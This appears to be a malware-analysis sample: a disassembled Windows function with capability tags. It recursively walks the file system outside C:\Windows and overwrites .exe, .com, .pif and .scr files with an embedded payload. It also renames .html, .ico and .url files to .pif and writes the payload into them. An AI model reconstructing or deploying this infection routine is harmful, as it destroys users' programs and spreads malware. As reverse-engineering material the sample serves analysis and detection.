Function at 0x401500
Capabilities:
Enumerate files on windows
Enumerate files recursively
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov byte [ebp - 0x35c], 0
mov dword [esp + 0xc], 0x404000
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x404004
lea eax, [ebp - 0x460]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x154]
mov dword [esp + 4], eax
lea eax, [ebp - 0x460]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x154]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FindNextFileA]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
je 0x40157d
jmp 0x4017f5
mov byte [ebp - 0x258], 0
lea eax, [ebp - 0x154]
add eax, 0x2c
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x404004
lea eax, [ebp - 0x35c]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], str.C:Windows
lea eax, [ebp - 0x35c]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x4017f0
mov dword [esp + 4], 0x404015
lea eax, [ebp - 0x154]
add eax, 0x2c
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x4017f0
mov dword [esp + 4], 0x404017
lea eax, [ebp - 0x154]
add eax, 0x2c
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x4017f0
lea eax, [ebp - 0x35c]
mov dword [esp], eax
call fcn.00401500
mov dword [esp + 4], 0x2e
lea eax, [ebp - 0x154]
add eax, 0x2c
mov dword [esp], eax
call sub.msvcrt.dll_strrchr
mov dword [ebp - 0x10], eax
mov dword [esp + 4], str..exe
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll__strcmpi
test eax, eax
je 0x401694
mov dword [esp + 4], str..com
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll__strcmpi
test eax, eax
je 0x401694
mov dword [esp + 4], str..pif
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll__strcmpi
test eax, eax
je 0x401694
mov dword [esp + 4], str..scr
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll__strcmpi
test eax, eax
jne 0x40169b
mov eax, 1
jmp 0x4016a0
mov eax, 0
test al, al
je 0x4016fa
lea eax, [ebp - 0x35c]
mov dword [esp], eax
call sub.msvcrt.dll_puts
mov dword [esp + 4], 0x40402e
lea eax, [ebp - 0x35c]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x14], eax
mov eax, dword [0x405020]
mov edx, dword [ebp - 0x14]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 1
mov dword [esp + 4], pe_overlay
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [esp + 4], str..html
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll__strcmpi
test eax, eax
je 0x40173f
mov dword [esp + 4], str..ico
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll__strcmpi
test eax, eax
je 0x40173f
mov dword [esp + 4], str..url
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll__strcmpi
test eax, eax
jne 0x401746
mov eax, 1
jmp 0x40174b
mov eax, 0
test al, al
je 0x4017f0
lea eax, [ebp - 0x35c]
mov dword [esp], eax
call sub.msvcrt.dll_puts
mov byte [ebp - 0x154], 0
mov dword [esp + 0xc], str..pif
lea eax, [ebp - 0x35c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x258]
mov dword [esp + 4], eax
lea eax, [ebp - 0x35c]
mov dword [esp], eax
call sub.msvcrt.dll_rename
mov dword [esp + 4], 0x40402e
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x14], eax
mov eax, dword [0x405020]
mov edx, dword [ebp - 0x14]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 1
mov dword [esp + 4], pe_overlay
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
jmp 0x401555
leave
ret